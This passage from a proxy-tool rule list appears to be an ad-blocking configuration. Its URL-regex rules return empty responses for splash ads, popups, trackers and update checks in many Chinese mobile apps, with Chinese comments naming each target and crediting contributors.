" status-code=200 + +^https?:\/\/images\.pinduoduo\.com\/marketing\_api data-type=text data=" " status-code=200 + +^https?:\/\/lofter\.lf127\.net\/ad\-material data-type=text data=" " status-code=200 + +# hostname = api-ac.liepin.com, api-wanda.liepin.com +^https?:\/\/api-ac\.liepin\.com\/api\/com\.liepin\.cyclops\.live\.get-ad-cards data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api-wanda\.liepin\.com\/api\/com\.liepin\.cbp\.baizhong\.op\.v2-show-4app data-type=text data=" " status-code=200 + +# 去开屏广告 +^https:\/\/order-app-api\.lbdj\.com\/lbdj\/apporder\/ad\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = www.1314zhilv.com +^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(guideScenic\/getRecentlyUpdatedScenic|city\/getWeatherByCityName) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = plt.yorentown.com, lawsonapi.yorentown.com +^https:\/\/plt\.yorentown\.com\/pltapp\/v1\/banner data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/qimg\.cdnmama\.com\/rd data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.jpg\?imageMogr2\/quality\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.(jpg|png)\?imageMogr2\/thumbnail\/(860x0|!165x165|!1049x1169) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +http:\/\/dili.sqcosmos.com\/jiekou\/endpage\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = img.meituan.net, s3plus.meituan.net, flowplus.meituan.net +^https?:\/\/wmapi\.meituan\.com\/api\/v7\/(loadInfo|openscreen|startpicture)\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/(s3plus|flowplus)\.meituan\.net\/v\d\/\w+\/linglong\/\w+\.(gif|jpg|mp4) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/img\.meituan\.net\/bizad\/bizad_brandCpt_\d+\.jpg data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/s3plus\.meituan\.net\/ocean-blk-index\/index\/blk_conf_73\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/s3plus\.meituan\.net\/v1\/mss_\w+\/(brandcpt-vedio|waimai-alita)\/\w+\.zip$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 美团订单详情页更多推荐 +^https?:\/\/apimobile\.meituan\.com\/group\/v1\/recommend\/unity\/recommends data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = peisongapi.meituan.com +^https?:\/\/peisongapi\.meituan\.com\/client\/getInitiateImage data-type=text data=" " status-code=200 + +# hostname = cdb.meituan.com +^https?:\/\/cdb\.meituan\.com\/marketing\/source\/getPageSlotList data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interface\/common\/(qryPopAds|qryLaunchAds)\.do data-type=text data=" " status-code=200 + +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interaction\/appInfo\/appNewestVersion data-type=text data=" " status-code=200 + +# hostname = www.cmbc.com.cn, rs.creditcard.cmbc.com.cn +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/loadingpage\/ data-type=text data=" " status-code=200 + +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/banner\/.*.png data-type=text data=" " status-code=200 + +# > 全民生活 +^https?://rs.creditcard.cmbc.com.cn/mmc/img/126f35586ece469aa2daf2e451ba7b4d.jpg data-type=text data=" " status-code=200 + +# 首页左上角推广 +^https?:\/\/[\d\.]+\/odin\/c1\/(channel\/ads|skin\/config)\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 底部tab红点 +^https?:\/\/damang\.api\.mgtv\.com\/station\/album\/red\/dot\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 播放器界面 +^https?:\/\/hb-boom\.api\.mgtv\.com\/release\/pullReleaseInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 升级弹窗 +^https?:\/\/mobile\.api\.mgtv\.com\/v2\/mobile\/checkUpdate\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 搜索框填充词 +^https?:\/\/mobileso\.bz\.mgtv\.com\/spotlight\/search\/v1\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/mapi\.mafengwo\.cn\/system\/update\/check_update data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/mapi\.mafengwo\.cn\/system\/config\/(get|mark)_(push|alert)_config data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/ads data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的会员中心 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/mine data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页下方推广 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/tabAct data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 屏蔽更新 +^http:\/\/ebk\.17u\.cn\/tctrafficappversionadmin\/api\/getLatestVersionApp data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com +^https?:\/\/ggc\.miguvideo\.com\/v1\/iflyad\/deliverysystem\/direct\/ data-type=tiny-gif status-code=200 + +^https?:\/\/adui\.tg\.meitu\.com data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = app.api.versa-ai.com, static01.versa-ai.com +^https?:\/\/app\.api\.versa-ai\.com\/launch\/ads\? data-type=text data=" " status-code=200 + +^https?:\/\/static01\.versa-ai\.com\/upload\/ec0ba51d68f9\/.*.jpg data-type=text data=" " status-code=200 + +# hostname = sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com,conf-darwin.xycdn.com,*.ubixioe.com +^https?:\/\/mob\.mddcloud\.com\.cn\/adApi\/advert\/(first|third)part\/advertList data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/t-dsp\.pinduoduo\.com data-type=text data=" " status-code=200 + +^https?:\/\/mobads-pre-config\.cdn\.bcebos\.com\/preload\.php data-type=text data=" " status-code=200 + +^https?:\/\/sfo\.mddcloud\.com\.cn\/api\/v\d\/sfo\/popup_displays? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/toblog\.ctobsnssdk\.com data-type=text data=" " status-code=200 + +^https?:\/\/conf-darwin\.xycdn\.com data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告、职位页面横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/adshow\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 赠送礼物 横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/pay\/v5\/check_gift\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 帖子文末推广卡片 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/go_gossip_darwin\/external\/v2\/query_flow_cards\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.mcd.cn +^https?:\/\/api\.mcd\.cn\/bff\/portal\/home\/splash data-type=text data=" " status-code=200 + +# 去升级弹窗 【Hua alex】分享 +^https?:\/\/blog\.nilbt\.com\/static\/api\/update data-type=text data=" " status-code=200 + +^https?:\/\/enjoy\.cdn-static\.abchina\.com\/yx-engine-web\/file\/download\/(?!7dc2|fe96|cea3|06a8|1b11|d57b|6918|61db|2d58|aa23|) data-type=text data=" " status-code=200 + +^https?:\/\/firefly\.abchina\.com\.cn\/firefly-collection\/Collect data-type=text data=" " status-code=200 + +# hostname = www.nfmovies.com +^https?:\/\/www\.nfmovies\.com\/pic\/tu\/ data-type=tiny-gif status-code=200 + +^https?:\/\/www\.nfmovies\.com\/templets\/default\/images\/logos data-type=tiny-gif status-code=200 + +^https?:\/\/www\.nfmovies\.com\/uploads\/images\/play\.jpg data-type=tiny-gif status-code=200 + +# 弹窗 +^https?:\/\/3g\.csair\.com\/CSMBP\/bookProcess\/homepopup\/queryAdvertisement data-type=text data=" " status-code=200 + +# 开屏广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v2\/advertise\/advertise-r1\/get-list\?data=u8obKDIrIWt2NR9wBuMwQ5O61eEsP data-type=text data=" " status-code=200 + +# 弹窗广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v\d\/common\/system-boot-inform\/detail data-type=text data=" " status-code=200 + +# 首页下方广告 +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/hot\/index data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/advertise\/banner data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = gateway.benewtech.cn, ntt-app.benewtech.cn +^https:\/\/gateway\.benewtech\.cn\/resources-app\/app\/startup\/prepage data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/ntt-app\.benewtech\.cn\/v6\/user\/\d+\/messages\/event data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/v3\.wufazhuce\.com:8000\/api\/adpreloadlist data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = image.spdbccc.com.cn +^https?:\/\/image\.spdbccc\.com\.cn\/group\d\/M00\/[A-Z0-9]{2}\/[A-Z0-9]{2}\/.+(4038|0571|M511|V-008|g549|b0628|fg817|5w501|Jo341|Z4583|oo845|i4905|MY245|YU472|Y401|w428|s000) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/advertisement\/v1\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/54\.222\.159\.138:8053\/^httpdns\/resolve\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = iobs.pingan.com.cn, hcz-member.pingan.com.cn +^https?:\/\/iobs\.pingan\.com\.cn\/download\/bweb-per-sf-prd\/bweb data-type=text data=" " status-code=200 + +^https?:\/\/iobs\.pingan\.com\.cn\/download\/icore-aops-base-dmz-prd\/(YourSystemName|icore-apps-ad) data-type=text data=" " status-code=200 + +# hostname = mobile.1qianbao.com +^https?:\/\/mobile\.1qianbao\.com\/mtp-web\/ui\/op_common_query_business_yqb\.json data-type=text data=" " status-code=200 + +# hostname = pacdn.m.stock.pingan.com +^https?:\/\/pacdn\.m\.stock\.pingan\.com\/images\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = cdn.sdb.com.cn +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/general-banner data-type=text data=" " status-code=200 + +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/dialog-normal data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/pb\/pb-plugins-recomend-content data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.pinduoduo\.com\/api\/aquarius\/hungary\/global\/homepage\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = pss.txffp.com +^https?:\/\/pss\.txffp\.com\/piaogen\/images\/launchScreen/ data-type=text data=" " status-code=200 + +# hostname = appapi.caiyicloud.com +^https:\/\/appapi\.caiyicloud\.com\/cyy_gatewayapi\/home\/pub\/v3\/banners\/app_start_page data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = adapi.izuiyou.com +^https?:\/\/adapi\.izuiyou\.com\/ad\/fetch_api_ads\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad/.*?\d{4}\.jpg data-type=tiny-gif status-code=200 + +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/targeted_ads data-type=tiny-gif status-code=200 + +# hostname = qde.qunar.com, homefront.qunar.com, client.qunar.com +^https?:\/\/qde\.qunar\.com\/preload data-type=text data=" " status-code=200 + +# 开屏广告 +^https?:\/\/homefront\.qunar\.com\/front\/splash\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = qidian.qpic.cn, mage.if.qidian.com, magev6.if.qidian.com +^https?:\/\/qidian\.qpic\.cn\/qidian_common data-type=tiny-gif status-code=200 + +^https?:\/\/mage\.if\.qidian\.com\/Atom\.axd\/Api\/Client\/GetConfIOS data-type=tiny-gif status-code=200 + +# 起点读书投票、章末免费领取章节卡等 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/followsubscribe data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的界面内测推广 +^http[s]?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/refresh data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 书架置顶推广(保留签到移除花哨背景) +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/getTopOperation data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 发现上面的图标屏蔽 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v2\/adv\/getadvlistbatch data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = open.qyer.com, media.qyer.com +^https?:\/\/open\.qyer\.com\/qyer\/startpage\/ data-type=text data=" " status-code=200 + +# hostname = adproxy.autohome.com.cn, app2.autoimg.cn +^https?:\/\/adproxy\.autohome\.com\.cn\/AdvertiseService\/ data-type=tiny-gif status-code=200 + +^https?:\/\/app2\.autoimg\.cn\/apppdfs\/ data-type=tiny-gif status-code=200 + +# 发现页面 正在直播 +^https:\/\/webcast-open\.douyin\.com\/webcast\/openapi\/feed\/\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 邀请开通会员弹窗 +^https:\/\/beta-luna\.douyin\.com\/luna\/commerce\/v2\/commerce_info\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https:\/\/mobile-consumer-sapp\.chery\.cn\/web\/position\/getShowList\?displayPlatform=1&tabType=0& data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = y.gtimg.cn +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad\/.+?\d{3,4}x\d{4} data-type=text data=" " status-code=200 + +# 感谢【梭哈 All in】分享 +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg\?posid= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 感谢【Kook】分享 +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?cityId=102923&channelId=0&width=1170&height=2532 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?.* data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?cityId=102923&positions=mine_popup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?.* data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 屏蔽更新 +^https?:\/\/appapi\.51job(app)?\.com\/api\/util\/get_version data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/index\/last-version data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 底栏中央活动标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/notice-infos data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/adstatic\.peopleapp\.com\/upload\/AppLoad\/.*.(jpg|png) data-type=text data=" " status-code=200 + +# RRTV_屏蔽限時彈窗 +https://api.rr.tv/storage/business/rootName/app/homePage\?dataType=JSON data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/app\.meruki\.cn\/\?n=Sig\.Front\.AppFront\.GetOpenAdDoorzo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/oneapph5\.dongfeng-nissan\.com\.cn\/mb-gw\/vmsp-discover\/rest\/business-service\/v1\/advert\/advertinfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# https://rarbgmirror.org/torrents.php +^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/expla\d{0,4}\.js$ data-type=text data=" " status-code=200 + +^https?:\/\/img0[1-9]{1}\.luckincoffeecdn\.com\/group\d/M00/[A-Z0-9]{2}/[A-Z0-9]{2}/[a-zA-Z0-9]{29}\.(jpg|jpeg)_\.webp data-type=text data=" " status-code=200 + +# hostname = spclient.wg.spotify.com, api*.musical.ly +^https?:\/\/spclient\.wg\.spotify\.com\/(ad-logic|ads|.+ad_slot|.+banners|.+canvases|.+cards|.+crashlytics|.+doubleclick.net|.+enabled-tracks|.+event|.+sponsored|.+promoted|.+promoted_offer) data-type=tiny-gif status-code=200 + +^https?:\/\/api\d?\.musical\.ly\/api\/ad\/ data-type=tiny-gif status-code=200 + +# 信息流,帖子详情页等各种广告 +^https?:\/\/ssp\.soulapp\.cn\/api\/q data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ssp\.soulapp\.cn\/api\/ad\/config data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/chat-live\.soulapp\.cn\/live\/planet\/recListV2 data-type=text data=" " status-code=200 + +^https?:\/\/api-chat\.soulapp\.cn\/chat\/entrance\/first data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/image\.suning\.cn\/uimg\/ma\/ad\/ data-type=text data=" " status-code=200 + +# 新人专享弹窗 +^https?:\/\/luckman\.suning\.com\/luck-web\/policy\/v\d\/msf\/index\.do data-type=text data=" " status-code=200 + +# 需卸载重装,有缓存 +^https?:\/\/ad\.shunchangzhixing\.com\/getAd data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.bwton\.com\/bff\/app\/h5\/v1\/station\/goods data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/api\.bwton\.com\/bas\/ad data-type=text data=" " status-code=200 + +# 软件内推广广告 感谢【为什么要看头像呢】分享 +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/goods data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/recommend data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 更新提示 感谢【alist.choc.ga】分享 +^https?:\/\/szdmobile\.suzhou\.gov\.cn\/thirdapp-center\/appUpdate\/update data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.sodalife.xyz +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ABOTTOM data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ACENTER data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AMINE%3ABOTTOM data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AREWARDS%3ACENTER data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.sodalife\.xyz\/v1\/goods data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = service.4gtv.tv +^https?:\/\/service\.4gtv\.tv\/4gtv\/Data\/(?>GetAD|ADLog) data-type=text data=" " status-code=200 + +# hostname = mapi.sichuanair.com +^https?:\/\/mapi\.sichuanair\.com\/zt\/tribeport\/encrypt_translate_key data-type=text data=" " status-code=200 + +# hostname = *.souhu.com +^https?:\/\/api\.k\.sohu\.com\/api\/news\/adsense data-type=text data=" " status-code=200 + +^https?:\/\/pic\.k\.sohu\.com\/img8\/wb\/tj\/ data-type=text data=" " status-code=200 + +^https?:\/\/s1\.api\.tv\.itc\.cn\/v4\/mobile\/control\/switch\.json data-type=text data=" " status-code=200 + +^https?:\/\/agn\.aty\.sohu\.com\/m? data-type=tiny-gif status-code=200 + +^https?:\/\/api\.k\.sohu\.com\/api\/channel\/ad\/ data-type=tiny-gif status-code=200 + +^https?:\/\/hui\.sohu\.com\/predownload2\/? data-type=tiny-gif status-code=200 + +^https?:\/\/m\.aty\.sohu\.com\/openload? data-type=tiny-gif status-code=200 + +^https?:\/\/mmg\.aty\.sohu\.com\/mqs? data-type=tiny-gif status-code=200 + +^https?:\/\/mmg\.aty\.sohu\.com\/pvlog? data-type=tiny-gif status-code=200 + +^https?:\/\/photocdn\.sohu\.com\/tvmobilemvms data-type=tiny-gif status-code=200 + +^https?:\/\/s\.go\.sohu\.com\/adgtr\/\?gbcode= data-type=tiny-gif status-code=200 + +# 屏蔽游戏中心 +^https?:\/\/h5api\.sginput\.qq\.com\/v1\/gcenter\/ios\/homepage data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = wxs-weixin.sd.zhumanggroup.com +^https?:\/\/wxs-weixin\.sd\.zhumanggroup\.com\/api\/v2\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = ecard.shenzhentong.com +^https?:\/\/ecard\.shenzhentong\.com\/wxweb\/bwxppub2\/QryAdvertList\.do data-type=text data=" " status-code=200 + +# APP净化 感谢【怎么肥事】分享 +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberGoods\/pointMallService\/goodsList data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-video\/video\/app\/video\/labelClusterList data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/ad\/queryInfoFlow data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/bms\/queryRecommend data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = mcs-mimp-web.sf-express.com, ucmp.sf-express.com +^https?:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/integralPlanet\/getCxAdvertiseList data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ucmp-static\.sf-express\.com\/proxy\/wxbase\/wxTicket\/wxLiveStreamInfo\?pageNo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ucmp\.sf-express\.com\/proxy\/operation-platform\/info-flow-adver\/query data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberManage\/memberEquity\/queryRecommendEquity data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberActLengthy\/fullGiveActivityService\/fullGiveInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = img01.10101111cdn.com +^https?:\/\/img01\.10101111cdn\.com\/adpos\/share\/ data-type=tiny-gif status-code=200 + +# hostname = gw-passenger.01zhuanche.com, img.yun.01zhuanche +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/car-rest\/webservice\/passenger\/recommendADs data-type=text data=" " status-code=200 + +^https?:\/\/img\.yun\.01zhuanche\.com\/statics\/app\/advertisement\/.+?-750-1334 data-type=tiny-gif status-code=200 + +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_513x777\.png data-type=text data=" " status-code=200 + +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_750x1624\.png data-type=text data=" " status-code=200 + +# hostname = api.gameplus.qq.com +^https?:\/\/api\.gameplus\.qq\.com\/community\.OnloadSrv\/GetPreloadScreenInfo data-type=text data=" " status-code=200 + +# 去除ai视频 +^https:\/\/api\.huachenjie\.com\/run-front\/ai\/getAICategory data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 去除顶部横幅 +^https:\/\/api\.huachenjie\.com\/run-front\/home\/sports\/getPopup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 去除首页广告 +^https:\/\/api\.huachenjie\.com\/run-front\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 去除“我”页面下方福袋 +^http:\/\/ad\.shunchangzhixing\.com\/getAd data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 去除开屏广告 +^https:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad\?sdk_version=\d+\.\d+\.\d+\.\d+&device_os=iOS&accept_ad_type=\d+&app_id=\d+&pid=\d+&sdk_version_code=\d+ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/channel\/portal\/AdgroupData data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/personCenterEntrance\/query data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/trade\/order\/getOftenBuyGoods data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/goods-portal\/spu\/searchRecommendPool data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/appVersionUpdate\/getAppVersionUpdateInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 屏蔽更新 +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v1\/sams\/configuration\/portal\/beUpdate data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 需要清理缓存 +^https:\/\/www\.ymm56\.com\/short-distance-match-app\/openAppAd data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# > 什么值得买 +^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/other_modul\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = alt-r.my.com, imgx.jampp.com +^https?:\/\/alt-r\.my\.com\/mobile data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/imgx\.jampp\.com\/imgsrv\/tn data-type=tiny-gif status-code=200 + +# 开屏广告 个别图片误杀 如开启可自行添加主机名 +^https?:\/\/ga-album-cdnqn\.52tt\.com\/prod-yunying\/.+.jpg data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 感谢【TEXAS】分享 +^https?:\/\/api\.taptapdada\.com\/startup-logo\/v\d\/combo\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 注意:生活圈,社区打不开 需要的自己添加主机名 +^https?:\/\/tfsmy\.chengdu\.gov\.cn\/api\/v5\/core\/version data-type=text data=" " status-code=200 + +# hostname = cgbank.oss-cn-shenzhen.aliyuncs.com +^https?:\/\/cgbank\.oss-cn-shenzhen\.aliyuncs\.com\/visual\/advertisingImg\/.+.jpg data-type=text data=" " status-code=200 + +^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/socsonew\/queryIsRealNameAdertInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页弹窗广告 +^https?:\/\/wechat\.tf\.cn\/mini-financial\/model\/queryPopup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 需卸载重装,因为设置里没有清楚缓存,推荐搭配旧版5.2.0使用 感谢【Leo】分享 +^https?:\/\/ams-cdn\.cdtft\.cn\/prod\/tft-ams\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = www.tsytv.com.cn +^https?:\/\/www\.tsytv\.com\.cn\/api\/app\/ios\/ads data-type=tiny-gif status-code=200 + +# hostname = j5.dfcfw.com, appactive.1234567.com.cn +^https?:\/\/j5\.dfcfw\.com\/WG\/conf\/202[0-9]{5}/.*.(jpg|png) data-type=text data=" " status-code=200 + +^https?:\/\/j5\.dfcfw\.com\/WG\/appconf\/202[0-9]{5}/.*.(jpg|png) data-type=text data=" " status-code=200 + +# hostname = ossgw.alicdn.com, zconfig.alibabausercontent.com +^https?:\/\/ossgw.alicdn.com\/creatives-assets\/image\/ data-type=text data=" " status-code=200 + +# 中间横幅广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/appHomeFacade\/getNewUserPlateActivity data-type=text data=" " status-code=200 + +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/bannerFacade\/app\/list data-type=text data=" " status-code=200 + +# 右下角悬浮广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/popupDialogFacade\/popupDialogList data-type=text data=" " status-code=200 + +# 感谢【All in 